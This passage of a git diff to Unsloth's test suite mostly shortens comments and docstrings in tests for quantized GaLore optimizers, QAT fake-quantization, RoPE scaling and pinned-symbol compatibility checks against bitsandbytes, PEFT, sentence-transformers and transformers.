         u = torch.randn(32, 4)
         v = torch.randn(4, 16)
         grad = u @ v  # rank-4 gradient
@@ -345,8 +334,7 @@ class TestQGaLoreIntegration:
         low = proj.project(grad, step = 0)
         reconstructed = proj.project_back(low)
 
-        # For a rank-4 gradient with rank-4 projection, reconstruction
-        # should be very close to original
+        # Rank-4 grad with rank-4 projection reconstructs near-exactly.
         relative_error = (grad - reconstructed).norm() / grad.norm()
         assert relative_error < 0.05, f"Reconstruction error too high: {relative_error:.4f}"
 
@@ -356,7 +344,7 @@ class TestQGaLoreIntegration:
         QGaLoreAdamW8bit = _adamw_mod_local.QGaLoreAdamW8bit
 
         p = torch.nn.Parameter(torch.randn(16, 16))
-        # Simulate init_weight_quantization tagging
+        # Simulate init_weight_quantization tagging.
         p._q_scales = None
         p._q_zeros = None
         p._q_shape = p.data.shape
@@ -372,15 +360,14 @@ class TestQGaLoreIntegration:
 
     def test_embedding_lr_param_group_split(self):
         """Embedding params can be split into a separate group with custom LR."""
-        # This tests the logic that make_q_galore_param_groups produces groups
-        # that can be further split by the trainer for embedding LR.
+        # make_q_galore_param_groups output can be further split for embedding LR.
         model = nn.Module()
         model.q_proj = nn.Linear(64, 64, bias = False)
         model.embed = nn.Embedding(100, 64)
 
         groups = make_q_galore_param_groups(model, rank = 8, weight_quant = False)
 
-        # Simulate splitting non-GaLore group for embedding LR
+        # Simulate splitting the non-GaLore group for embedding LR.
         embed_lr = 5e-5
         new_groups = []
         for group in groups:
@@ -390,7 +377,7 @@ class TestQGaLoreIntegration:
             embed_params = []
             other_params = []
             for p in group["params"]:
-                # In real usage, we'd check the name; here just split by shape
+                # Real usage checks names; here we split by shape.
                 if p.shape[0] == 100:  # embedding
                     embed_params.append(p)
                 else:
@@ -405,16 +392,14 @@ class TestQGaLoreIntegration:
                 g["lr"] = embed_lr
                 new_groups.append(g)
 
-        # Should have 3 groups: galore, non-galore non-embed, embed
+        # 3 groups: galore, non-galore non-embed, embed.
         embed_groups = [g for g in new_groups if g.get("lr") == embed_lr]
         assert len(embed_groups) == 1
         assert embed_groups[0]["lr"] == embed_lr
 
     def test_optimizer_hyperparams_forwarded(self):
         """QGaLoreAdamW8bit accepts betas and eps keyword arguments."""
-        # Verify the constructor signature accepts these params.
-        # Without bitsandbytes we can't instantiate, but we can check the
-        # function signature.
+        # Can't instantiate without bitsandbytes; check the signature instead.
         import inspect
 
         _adamw_mod_local = sys.modules["unsloth.optimizers.q_galore_adamw"]
@@ -429,15 +414,14 @@ class TestQGaLoreIntegration:
         """Weight decay should apply standard decoupled AdamW decay on current weights."""
         _adamw_mod_local = sys.modules["unsloth.optimizers.q_galore_adamw"]
 
-        # Create a mock parameter and group
         p = torch.nn.Parameter(torch.ones(4, 4))
         p._saved_data = torch.ones(4, 4) * 2.0  # Pre-update weights
-        # Simulate project-back: p.data = p._saved_data + projected update
+        # Simulate project-back: p.data = p._saved_data + projected update.
         p.data = p._saved_data.add_(torch.ones(4, 4) * 1.0)  # p.data is now 3.0
 
         group = {"weight_decay": 0.1, "lr": 1.0, "_wd_saved": 0.1}
 
-        # Replicate the fixed decoupled weight decay logic (uses p.data, not p._saved_data)
+        # Decoupled weight decay must use p.data, not p._saved_data.
         p.data.add_(
             p.data,
             alpha = -group["lr"] * group["_wd_saved"],
@@ -445,7 +429,7 @@ class TestQGaLoreIntegration:
 
         del p._saved_data  # Clean up after all uses, matching fixed code
 
-        # Decoupled weight decay: 3.0 - (1.0 * 0.1 * 3.0) = 2.7
+        # 3.0 - (1.0 * 0.1 * 3.0) = 2.7
         assert torch.allclose(
             p.data, torch.tensor(2.7)
         ), "Weight decay didn't use p.data for decoupled decay!"
@@ -464,11 +448,11 @@ class TestQGaLoreIntegration:
             "weight_group_size": 16,
         }
 
-        # Replicate the re-quantize logic at the end of optimizer step
+        # Re-quantize logic from the end of an optimizer step.
         float_data = p.data.clone()
         q, scales, zeros, shape = _quantize(float_data, q_group_size = group["weight_group_size"])
 
-        # The key assertion: p.data stays float, _q_data holds uint8
+        # Key check: p.data stays float, _q_data holds uint8.
         p._q_data = q.to(p.data.device)
         p._q_scales = scales
         p._q_zeros = zeros
@@ -486,7 +470,7 @@ class TestQGaLoreIntegration:
         linear = nn.Linear(16, 8, bias = False)
         original = linear.weight.data.clone()
 
-        # Quantize the weight and replace with placeholder (simulates post-step)
+        # Quantize the weight and replace with a placeholder (simulates post-step).
         q, scales, zeros, shape = _projector_mod_local._quantize(
             linear.weight.data.clone(), q_group_size = 16
         )
@@ -497,14 +481,14 @@ class TestQGaLoreIntegration:
         linear.weight.data = torch.zeros(1, dtype = linear.weight.dtype)
         assert linear.weight.data.numel() == 1, "placeholder should be 1 element"
 
-        # Install hook and run forward -- should restore float weights
+        # Hook should restore float weights on forward.
         handles = install_hook(linear)
         x = torch.randn(2, 16)
         out = linear(x)  # triggers pre-hook
 
         assert linear.weight.data.shape == (8, 16), "weight shape not restored"
         assert linear.weight.data.is_floating_point(), "weight not float after hook"
-        # Check values are close to original (quantization introduces small error)
+        # Quantization introduces small error, so allow tolerance.
         assert torch.allclose(
             linear.weight.data, original, atol = 0.15
         ), "dequantized weight too far from original"
diff --git a/tests/utils/test_qat.py b/tests/utils/test_qat.py
index 5c87db4e3d..79d955164f 100644
--- a/tests/utils/test_qat.py
+++ b/tests/utils/test_qat.py
@@ -20,9 +20,7 @@ except ImportError:
 
 
 class _CountingFakeQuantizer(torch.nn.Module):
-    """
-    Dummy fake quantizer that counts the number of times it has been called.
-    """
+    """Fake quantizer that counts how many times it was called."""
 
     def __init__(self):
         super().__init__()
@@ -34,10 +32,7 @@ class _CountingFakeQuantizer(torch.nn.Module):
 
 
 def _get_model(qat_scheme: str, full_finetuning: bool):
-    """
-    Return a 2-tuple of (model, tokenizer), where the model has been configured
-    to use QAT. If `full_finetuning` is False, return the PEFT (LoRA) model.
-    """
+    """Return (model, tokenizer) configured for QAT; LoRA model when full_finetuning is False."""
     model, tokenizer = FastLanguageModel.from_pretrained(
         model_name = "unsloth/Qwen3-1.7B",
         load_in_4bit = False,
@@ -53,9 +48,7 @@ def _get_model(qat_scheme: str, full_finetuning: bool):
 
 
 def _test_linear_is_fake_quantized(linear: torch.nn.Linear, qat_scheme: str):
-    """
-    Verify that the given linear contains fake quantizers according to the `qat_scheme`.
-    """
+    """Verify the linear contains fake quantizers matching `qat_scheme`."""
     weight_only = False
     if qat_scheme == "fp8-int4":
         act_fq_class = Float8FakeQuantizer
@@ -78,7 +71,7 @@ def _test_linear_is_fake_quantized(linear: torch.nn.Linear, qat_scheme: str):
     else:
         raise ValueError(f"Unknown qat_scheme: {qat_scheme}")
 
-    # Check base layer activations and weights
+    # Check base layer activations and weights.
     base_layer = getattr(linear, "base_layer", linear)
     if base_layer.in_features >= min_in_features:
         assert isinstance(base_layer, FakeQuantizedLinear)
@@ -86,7 +79,7 @@ def _test_linear_is_fake_quantized(linear: torch.nn.Linear, qat_scheme: str):
             assert isinstance(base_layer.activation_fake_quantizer, act_fq_class)
         assert isinstance(base_layer.weight_fake_quantizer, weight_fq_class)
 
-    # Check lora A and B (only for full_finetuning=False)
+    # Check lora A and B (full_finetuning=False only).
     if hasattr(linear, "lora_A") and hasattr(linear, "lora_B"):
         lora_A = linear.lora_A.default
         lora_B = linear.lora_B.default
@@ -105,9 +98,7 @@ def _test_linear_is_fake_quantized(linear: torch.nn.Linear, qat_scheme: str):
 def _test_fake_quantizers_are_called(
     model: torch.nn.Module, example_inputs: Dict, full_finetuning: bool, qat_scheme: str
 ):
-    """
-    Verify that the fake quantizers are actually called when the model is called.
-    """
+    """Verify the fake quantizers are actually called during a forward pass."""
     weight_only = qat_scheme in ["int8", "cactus"]
 
     def _swap_fake_quantizers(model: torch.nn.Module):
@@ -123,9 +114,8 @@ def _test_fake_quantizers_are_called(
                         assert child.activation_fake_quantizer.count == 1
                     assert child.weight_fake_quantizer.count == 1
             else:
-                # For LoRA, we only fake quantize the input activations once per block:
-                # For self_attn, we only fake quantize the q_proj's input activations
-                # For mlp, we only fake quantize the gate_proj's input activations
+                # LoRA fake-quantizes input activations once per block:
+                # self_attn via q_proj, mlp via gate_proj.
                 if name == "self_attn":
                     base_layer = child.q_proj.base_layer
                     if not weight_only:
@@ -137,7 +127,7 @@ def _test_fake_quantizers_are_called(
                         assert hasattr(base_layer, "activation_fake_quantizer")
                         assert base_layer.activation_fake_quantizer.count == 1
                 elif isinstance(child, FakeQuantizedLinear):
-                    # Weight fake quantizers should always be called
+                    # Weight fake quantizers must always be called.
                     assert child.weight_fake_quantizer.count == 1
 
     for k, v in example_inputs.items():
@@ -148,9 +138,7 @@ def _test_fake_quantizers_are_called(
 
 
 def _test_model_fake_quantize(qat_scheme: str, full_finetuning: bool):
-    """
-    Test that all linear layers in the model are fake quantized according to the `qat_scheme`.
-    """
+    """All linear layers in the model are fake quantized per `qat_scheme`."""
     model, tokenizer = _get_model(qat_scheme, full_finetuning)
     if full_finetuning:
         model = model.model
diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index 193cb830f5..b976654f87 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -1,14 +1,10 @@
-"""Guard for config.rope_scaling being silently dropped (issue #2405).
+"""Guard against config.rope_scaling being silently dropped (issue #2405):
+the replacement rotary classes ignored it on the config path, so Llama-3.1
+ran with unscaled RoPE and produced gibberish past ~32K tokens.
 
-Unsloth's replacement rotary classes ignored rope_scaling when constructed
-from a config (the modern-transformers path), so Llama-3.1 ran with unscaled
-RoPE and collapsed into gibberish past ~32K tokens.
-
-Layers: (1) AST tripwire, stdlib only; (2) CPU checks of the pure helper
-_compute_config_rope_inv_freq against transformers' ROPE_INIT_FUNCTIONS;
-(3) CUDA checks instantiating the real class (skipped without a real device,
-probed by allocating a tensor so import-time CUDA spoofs cannot fool the gate).
-Layers 2 and 3 fail on the unfixed code.
+Three layers: (1) AST tripwire; (2) CPU checks of the pure helper
+_compute_config_rope_inv_freq vs ROPE_INIT_FUNCTIONS; (3) CUDA checks on the
+real class (skipped without a real device). Layers 2-3 fail on the unfixed code.
 """
 
 import ast
@@ -165,7 +161,7 @@ def test_llama3_scaling_applied_to_inv_freq():
     expected = _reference_inv_freq(config, "llama3")
     vanilla = _vanilla_inv_freq()
 
-    # Guard against a vacuous test.
+    # Guard against a vacuous test: scaled inv_freq must differ from vanilla.
     assert not torch.allclose(
         expected, vanilla, rtol = 1e-4
     ), "test setup error: llama3-scaled inv_freq should differ from vanilla"
diff --git a/tests/utils/test_trunc_normal_patch.py b/tests/utils/test_trunc_normal_patch.py
index 0ccd455674..c1dbc2a7c8 100644
--- a/tests/utils/test_trunc_normal_patch.py
+++ b/tests/utils/test_trunc_normal_patch.py
@@ -57,7 +57,7 @@ def test_trunc_normal_patch_accepts_positional_generator():
     old_patched = _getattr_or_missing(init_mod, "_unsloth_trunc_normal_patched")
     old_original = _getattr_or_missing(init_mod, "_unsloth_trunc_normal_original")
     try:
-        # Normalize to an unpatched baseline before applying the patch.
+        # Reset to an unpatched baseline before applying the patch.
         if old_original is not _MISSING:
             init_mod.trunc_normal_ = old_original
         if hasattr(init_mod, "_unsloth_trunc_normal_patched"):
diff --git a/tests/version_compat/_fetch.py b/tests/version_compat/_fetch.py
index 9688780be5..706b26efad 100644
--- a/tests/version_compat/_fetch.py
+++ b/tests/version_compat/_fetch.py
@@ -1,12 +1,6 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""Shared helpers for the version-compat suites: fetch a file from
-GitHub raw at a tag/branch, and grep for class/def/module symbols
-without ast.parse so one non-importable line doesn't false-fail us.
-Mirrors tests/vllm_compat/test_vllm_pinned_symbols.py.
-
-Used by the test_*_pinned_symbols.py suites under tests/version_compat/.
-"""
+"""Shared helpers for version-compat suites: GitHub raw fetch + regex symbol grep."""
 
 from __future__ import annotations
 
@@ -19,8 +13,7 @@ import pytest
 
 
 def fetch_text(repo: str, ref: str, path: str) -> str | None:
-    """Fetch a file from GitHub raw. None on 404 (caller decides if
-    fatal). Skips the test on transient network errors to avoid CI flake."""
+    """Fetch a file from GitHub raw. None on 404; skips on transient network errors."""
     url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
     req = urllib.request.Request(url)
     token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
@@ -42,9 +35,7 @@ def has_def(
     name: str,
     kind: str = "any",
 ) -> bool:
-    """Heuristic grep for `class Name`, `def name`, or `Name = ...` at
-    any indent level. Avoids ast.parse so one non-importable line doesn't
-    false-fail us; indented matches are accepted so class methods count too."""
+    """Grep for `class Name`, `def name`, or `Name = ...` at any indent (no ast.parse)."""
     if kind in ("any", "class") and re.search(
         rf"^\s*class\s+{re.escape(name)}\b", src, re.MULTILINE
     ):
@@ -59,8 +50,7 @@ def has_def(
 
 
 def first_match(repo: str, ref: str, paths: list[str]) -> tuple[str, str] | None:
-    """Return (path, src) for the first existing candidate path, else
-    None. Useful when upstream moved a module across versions."""
+    """Return (path, src) for the first existing candidate path, else None."""
     for p in paths:
         src = fetch_text(repo, ref, p)
         if src is not None:
diff --git a/tests/version_compat/test_bitsandbytes_pinned_symbols.py b/tests/version_compat/test_bitsandbytes_pinned_symbols.py
index 247cc7e6b9..ba4d05c342 100644
--- a/tests/version_compat/test_bitsandbytes_pinned_symbols.py
+++ b/tests/version_compat/test_bitsandbytes_pinned_symbols.py
@@ -1,21 +1,6 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""Pinned-symbol compat check across bitsandbytes PyPI minor versions
-unsloth + unsloth-zoo target. Catches API drift like:
-
-  - bnb 0.46.0 release was broken (in pyproject.toml as `!=0.46.0`).
-    Don't test against it.
-  - bnb 0.48.0 release was broken (also `!=0.48.0`). Same.
-  - bnb 0.45 series introduced fp4 + nf4 paged optimisers; unsloth-zoo
-    expects bnb.functional.dequantize_4bit + bnb.nn.Linear4bit /
-    Params4bit to remain stable from this point onward.
-  - vLLM bitsandbytes-loader patches in unsloth_zoo/vllm_utils.py:
-    apply_bnb_4bit (line 237), is_layer_skipped_bnb (line 281),
-    BitsAndBytesLinearMethod._apply_4bit_weight (line 282) — these
-    live in vllm.* but they call into bnb's public surface.
-
-Strategy: GitHub raw fetch + symbol grep. CPU-only, no install.
-"""
+"""Pinned-symbol compat check across bitsandbytes minor versions via GitHub raw fetch + symbol grep."""
 
 from __future__ import annotations
 
@@ -36,8 +21,7 @@ BNB_TAGS = [
 ]
 
 
-# bnb.functional: dequantize_4bit / quantize_4bit are the public 4-bit surface
-# unsloth's compiled kernels and unsloth-zoo's vllm_utils bnb-loader call into.
+# bnb.functional dequantize_4bit / quantize_4bit: the public 4-bit surface unsloth kernels call into.
 
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
@@ -56,8 +40,7 @@ def test_bnb_functional_4bit(tag: str):
     )
 
 
-# bnb.nn.Linear4bit / Params4bit: the two classes peft and unsloth
-# isinstance-check against. Renaming either silently breaks 4-bit LoRA.
+# bnb.nn.Linear4bit / Params4bit: peft + unsloth isinstance-check these; renaming breaks 4-bit LoRA.
 
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
@@ -84,12 +67,10 @@ def test_bnb_nn_linear4bit_classes(tag: str):
     )
 
 
-# Coverage extension (added 2026-05): every bnb symbol unsloth + unsloth-zoo
-# touch, derived from a full grep of both repos.
+# Coverage extension (2026-05): every bnb symbol unsloth + unsloth-zoo touch.
 
 
-# Top-level convenience export. unsloth/kernels/utils.py + unsloth-zoo
-# vllm_utils.py call `bnb.matmul_4bit(x, w, bias=, quant_state=)`.
+# Top-level export: unsloth/kernels/utils.py + zoo vllm_utils.py call bnb.matmul_4bit(...).
 
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
@@ -105,17 +86,7 @@ def test_bnb_matmul_4bit_top_level(tag: str):
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
 def test_bnb_functional_4bit_kernel_path(tag: str):
-    """unsloth/kernels/utils.py module-top binds the 4-bit dequantize
-    and gemm primitives via one of two paths:
-      - LEGACY (bnb <= 0.48.x): `bnb.functional.lib.cdequantize_blockwise_*`
-        and `bnb.functional.lib.cgemm_4bit_inference_naive_*` — C
-        symbols listed in functional.py source.
-      - NEW (bnb >= 0.49.0): `torch.ops.bitsandbytes.dequantize_blockwise`
-        and `torch.ops.bitsandbytes.dequantize_4bit` Python wrappers;
-        the C symbols still live in libbitsandbytes_*.so but the
-        Python source no longer references them by name.
-    Either path lets unsloth resolve the kernels at runtime — we only
-    fail if NEITHER signal is present."""
+    """bnb.functional must expose either the legacy `lib.c*` kernels or the new `torch.ops.bitsandbytes.*` path."""
     candidates = [
         "bitsandbytes/functional.py",
         "bitsandbytes/functional/__init__.py",
@@ -156,9 +127,7 @@ def test_bnb_functional_get_ptr(tag: str):
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
 def test_bnb_quantstate_from_dict(tag: str):
-    """unsloth-zoo monkey-patches `QuantState.from_dict = ...`. Both
-    the class AND the classmethod must be present for the rebinding
-    to take effect."""
+    """unsloth-zoo rebinds QuantState.from_dict; both class and classmethod must be present."""
     candidates = [
         "bitsandbytes/functional.py",
         "bitsandbytes/functional/__init__.py",
@@ -175,8 +144,7 @@ def test_bnb_quantstate_from_dict(tag: str):
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
 def test_bnb_nn_modules_fix_4bit_weight_optional(tag: str):
-    """fix_4bit_weight_quant_state_from_module added in newer bnb;
-    unsloth uses getattr() with a fallback so older versions are OK."""
+    """fix_4bit_weight_quant_state_from_module is optional; unsloth getattr-fallbacks on older bnb."""
     src = fetch_text("bitsandbytes-foundation/bitsandbytes", tag, "bitsandbytes/nn/modules.py")
     if src is None:
         pytest.skip(f"{tag}: bitsandbytes/nn/modules.py missing")
@@ -227,8 +195,7 @@ def test_bnb_utils_pack_unpack(tag: str):
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
 def test_bnb_cextension_rocm_warp_size_optional(tag: str):
-    """ROCM_WARP_SIZE_64 added with AMD ROCm support; pre-ROCm bnb
-    builds don't have it. unsloth probes via try/except — informational."""
+    """ROCM_WARP_SIZE_64 is optional (pre-ROCm bnb lacks it); unsloth probes via try/except."""
     src = fetch_text("bitsandbytes-foundation/bitsandbytes", tag, "bitsandbytes/cextension.py")
     if src is None:
         pytest.skip(f"{tag}: cextension.py missing")
@@ -238,9 +205,7 @@ def test_bnb_cextension_rocm_warp_size_optional(tag: str):
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
 def test_bnb_autograd_functions_matmul_4bit(tag: str):
-    """unsloth-zoo has a dynamo-disable patch site for
-    bnb.autograd._functions.matmul_4bit. Symbol must remain so the
-    probe + decision logic works."""
+    """bnb.autograd._functions.matmul_4bit must remain (unsloth-zoo has a dynamo-disable patch site)."""
     src = fetch_text(
         "bitsandbytes-foundation/bitsandbytes",
         tag,
@@ -253,9 +218,7 @@ def test_bnb_autograd_functions_matmul_4bit(tag: str):
 
 @pytest.mark.parametrize("tag", BNB_TAGS)
 def test_bnb_version_parseable(tag: str):
-    """Multiple unsloth code paths read Version(bnb.__version__) for
-    feature gating (floors 0.43.3, 0.46.0, 0.48.2.dev0, 0.49.0,
-    0.49.2). At least one export mechanism must work."""
+    """bnb.__version__ must be exported via at least one mechanism (unsloth feature-gates on it)."""
     src = fetch_text("bitsandbytes-foundation/bitsandbytes", tag, "bitsandbytes/__init__.py")
     if src is None:
         pytest.skip(f"{tag}: bitsandbytes/__init__.py missing")
diff --git a/tests/version_compat/test_peft_pinned_symbols.py b/tests/version_compat/test_peft_pinned_symbols.py
index 7e29aa62ac..d322ecf678 100644
--- a/tests/version_compat/test_peft_pinned_symbols.py
+++ b/tests/version_compat/test_peft_pinned_symbols.py
@@ -1,28 +1,9 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""Pinned-symbol compat check across PEFT PyPI minor versions
-unsloth + unsloth-zoo target. Catches API drift like:
-
-  - peft 0.18 finalised the LoraConfig public surface (+ MoE-aware
-    target_modules); unsloth uses target_modules + r + lora_alpha +
-    lora_dropout + bias.
-  - peft 0.19 introduced the LoraConfig.target_parameters extension;
-    unsloth-zoo's MoE LoRA extractor in saving_utils.py reads it via
-    getattr() so missing on older versions is OK but the attribute
-    shape must remain stable on >= 0.19.
-  - peft.tuners.lora package layout: LoraLayer / LoraConfig / Linear4bit
-    re-exports must keep working under both `from peft import X` and
-    `from peft.tuners.lora import X`.
-
-Strategy: for each tracked PEFT tag, fetch source from
-github.com/huggingface/peft (no pip install needed) and assert that
-every symbol unsloth + unsloth-zoo's PEFT touchpoints depend on is
-present.
-
-Versioning policy: cover the supported window declared in
-unsloth/pyproject.toml (`peft>=0.18.0,!=0.11.0`) plus `main`. The
-`!=0.11.0` exclusion is for the historical broken release; we don't
-test against it.
+"""Pinned-symbol compat check across PEFT minor versions unsloth + unsloth-zoo
+target. For each tracked tag, fetch source from github.com/huggingface/peft and
+assert every PEFT symbol unsloth touches is present, catching API drift.
+Versioning covers unsloth/pyproject.toml's `peft>=0.18.0,!=0.11.0` window + main.
 """
 
 from __future__ import annotations
@@ -45,9 +26,8 @@ PEFT_TAGS = [
 ]
 
 
-# Top-level public re-exports. unsloth/models/sentence_transformer.py:1948
-# does `from peft import LoraConfig, get_peft_model as peft_get_peft_model`.
-# unsloth_zoo's saving_utils + lora extractors hit `peft.PeftModel`.
+# Top-level re-exports: sentence_transformer.py:1948 does `from peft import
+# LoraConfig, get_peft_model`; unsloth_zoo saving_utils/lora extractors hit PeftModel.
 
 
 @pytest.mark.parametrize("tag", PEFT_TAGS)
@@ -92,8 +72,7 @@ def test_peft_lora_config_class(tag: str):
 
 @pytest.mark.parametrize("tag", PEFT_TAGS)
 def test_get_peft_model_function(tag: str):
-    """`def get_peft_model(...)` may live in mapping.py (older
-    layout) or mapping_func.py (peft 0.18+ split). Either is fine."""
+    """get_peft_model may live in mapping.py or mapping_func.py (0.18+ split)."""
     candidates = [
         "src/peft/mapping.py",
         "src/peft/mapping_func.py",
@@ -143,8 +122,7 @@ def test_peft_lora_bnb_integration(tag: str):
         src = fetch_text("huggingface/peft", tag, p)
         if src is None:
             continue
-        # The Linear4bit subclass naming is the contract -- either name
-        # is fine, but at least one bnb-flavoured Linear must exist.
+        # At least one bnb-flavoured Linear must exist (either name is fine).
         has_4bit = any(
             cls in src
             for cls in (
diff --git a/tests/version_compat/test_sentence_transformers_pinned_symbols.py b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
index 87b358724b..c0c35b9d5d 100644
--- a/tests/version_compat/test_sentence_transformers_pinned_symbols.py
+++ b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
@@ -1,24 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""Pinned-symbol compat check across sentence-transformers PyPI minor
-versions. unsloth has a custom integration in
-unsloth/models/sentence_transformer.py that:
-
-  - Imports SentenceTransformer / SentenceTransformerTrainer at the
-    top of the public surface (lines 1467, 1798, 1947, 2154).
-  - Walks `sentence_transformers.models` for Transformer / Pooling /
-    Normalize (lines 1016, 1206, 1467).
-  - Calls `sentence_transformers.util.import_from_string` and
-    `load_dir_path` (lines 1177, 1205).
-  - Tolerates two alternate base-class paths
-    (sentence_transformers.base.modules.transformer.Transformer vs
-    sentence_transformers.models.transformer.Transformer; lines
-    1169-1171) — at least ONE must resolve.
-
-Strategy: GitHub raw fetch + symbol grep (no pip install, CPU-only).
-ST is unpinned in unsloth/pyproject.toml; cover recent 5.x minors plus
-`main`.
-"""
+"""Pinned-symbol compat check for the symbols unsloth's sentence_transformer
+integration relies on, across ST PyPI minors (GitHub raw fetch + symbol grep)."""
 
 from __future__ import annotations
 
@@ -29,8 +12,7 @@ import pytest
 from tests.version_compat._fetch import fetch_text, first_match, has_def
 
 
-# Policy: unsloth/pyproject.toml does NOT pin sentence-transformers. We
-# track the last few minors plus main. Add a row when a new minor lands.
+# ST is unpinned in pyproject.toml; track the last few minors plus main.
 ST_TAGS = [
     "v5.0.0",
     "v5.1.2",
@@ -41,10 +23,7 @@ ST_TAGS = [
 ]
 
 
-# Top-level public surface: SentenceTransformer + SentenceTransformerTrainer
-# must be importable as `from sentence_transformers import X`.
-
-
+# Top-level: SentenceTransformer + SentenceTransformerTrainer must be importable.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_top_level_exports(tag: str):
     src = fetch_text("UKPLab/sentence-transformers", tag, "sentence_transformers/__init__.py")
@@ -57,20 +36,13 @@ def test_st_top_level_exports(tag: str):
     )
 
 
-# Sub-modules: Transformer / Pooling / Normalize. unsloth walks
-# `sentence_transformers.models` to introspect these (line 1016, 1206).
-
-
+# Sub-modules: unsloth walks `sentence_transformers.models` for these classes.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_models_re_exports(tag: str):
-    """Transformer / Pooling / Normalize must be reachable through
-    `sentence_transformers.models`. ST 5.4 reorganised the package, but
-    the top-level re-export must still surface these three so user code
-    (and unsloth/models/sentence_transformer.py:1016,1206,1467) can
-    `from sentence_transformers.models import Transformer`."""
-    # Layout 1 (legacy &lt; 5.4): sentence_transformers/models[.py|/__init__.py].
-    # Layout 2 (&gt;= 5.4): top-level __init__.py re-exports the symbols
-    # plus the modules live under base/modules and sentence_transformer/.
+    """Transformer / Pooling / Normalize must stay reachable via
+    `sentence_transformers.models` despite the ST 5.4 package reorg."""
+    # Layout 1 (legacy < 5.4): sentence_transformers/models[.py|/__init__.py].
+    # Layout 2 (>= 5.4): top-level re-exports; modules under base/modules + sentence_transformer/.
     legacy_candidates = [
         "sentence_transformers/models/__init__.py",
         "sentence_transformers/models.py",
@@ -88,9 +60,8 @@ def test_st_models_re_exports(tag: str):
         return
 
     # ST 5.4+ modular layout: classes moved under base/modules and
-    # sentence_transformer/modules. Backward compat for
-    # `from sentence_transformers.models import X` is wired at import via
-    # setup_deprecated_module_imports in sentence_transformers/__init__.py.
+    # sentence_transformer/modules; backward compat wired via
+    # setup_deprecated_module_imports in __init__.py.
     expected_paths = {
         "Transformer": [
             "sentence_transformers/base/modules/transformer.py",
@@ -114,8 +85,7 @@ def test_st_models_re_exports(tag: str):
         else:
             pytest.fail(f"{tag}: ST 5.4+ layout: class {cls} not found in any of {paths}")
 
-    # The backward-compat shim must be wired up so user code doing
-    # `from sentence_transformers.models import Pooling` keeps working.
+    # The backward-compat shim must be wired so `from ...models import Pooling` keeps working.
     top = fetch_text("UKPLab/sentence-transformers", tag, "sentence_transformers/__init__.py")
     assert top is not None, f"{tag}: sentence_transformers/__init__.py missing"
     has_shim = bool(
@@ -130,10 +100,7 @@ def test_st_models_re_exports(tag: str):
     )
 
 
-# Transformer base class: unsloth checks two alternate paths at
-# sentence_transformer.py:1169-1171. At least ONE must resolve.
-
-
+# Transformer base class: unsloth probes alternate paths; at least ONE must resolve.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_transformer_base_class_either_path(tag: str):
     candidates = [
@@ -153,16 +120,11 @@ def test_st_transformer_base_class_either_path(tag: str):
     )
 
 
-# sentence_transformers.util: import_from_string + load_dir_path are the
-# two helpers unsloth.models.sentence_transformer:1177,1205 calls.
-
-
+# sentence_transformers.util: import_from_string + load_dir_path helpers unsloth calls.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_util_helpers(tag: str):
-    """`sentence_transformers.util.{import_from_string, load_dir_path}` —
-    used by unsloth.models.sentence_transformer:1177,1205. ST 5.4+ moved
-    util into a package; accept either layout, or a re-export from any
-    util submodule."""
+    """util.{import_from_string, load_dir_path} must resolve; accept either the
+    flat or the ST 5.4+ package layout, or a re-export from a util submodule."""
     candidates = [
         "sentence_transformers/util.py",
         "sentence_transformers/util/__init__.py",
@@ -174,7 +136,7 @@ def test_st_util_helpers(tag: str):
         defined_here = has_def(src, fn, "func")
         reexported = bool(re.search(rf"\b{re.escape(fn)}\b", src))
         if not (defined_here or reexported):
-            # Try common subfiles for the modular layout.
+            # Modular-layout subfiles.
             subpaths = [
                 "sentence_transformers/util/import_utils.py",
                 "sentence_transformers/util/file_utils.py",
diff --git a/tests/version_compat/test_transformers_pinned_symbols.py b/tests/version_compat/test_transformers_pinned_symbols.py
index cebef77c7f..6aa628e86b 100644
--- a/tests/version_compat/test_transformers_pinned_symbols.py
+++ b/tests/version_compat/test_transformers_pinned_symbols.py
@@ -1,32 +1,10 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""Pinned-symbol + source-pattern compat checks across the
-transformers PyPI window unsloth + unsloth-zoo target. Catches the
-classes of breakage we've shipped fixes for in:
+"""Pinned-symbol + source-pattern transformers compat checks via GitHub raw-fetch + grep.
 
-  unsloth#3998   notebook compat 4.57.6 + TRL 0.22-0.27
-  unsloth#5036   grad-accum accepts_loss_kwargs vision wrappers
-  unsloth#5155   resolve_model_class fallback against unresolvable AutoModel
-  unsloth#5259   FastSentenceTransformer + ST 5.4 redirect
-  unsloth-zoo#572 forward-compat with transformers 5.x decorators + Qwen2VL
-  unsloth-zoo#571 gemma3, csm, ministral, pixtral 5.3 forward signature
-  unsloth-zoo#549 VRAM regression with transformers 5.2+ checkpoint
-  unsloth-zoo#543 GRPO logging + transformers v5 loss shape mismatch
-  unsloth-zoo#541 got multiple values for argument in compiled forward dispatch
-  unsloth-zoo#495 Qwen3Next/Qwen3.5 MoE + transformers v5 fixes for Gemma
-  unsloth-zoo#491 should_convert_module substring matching
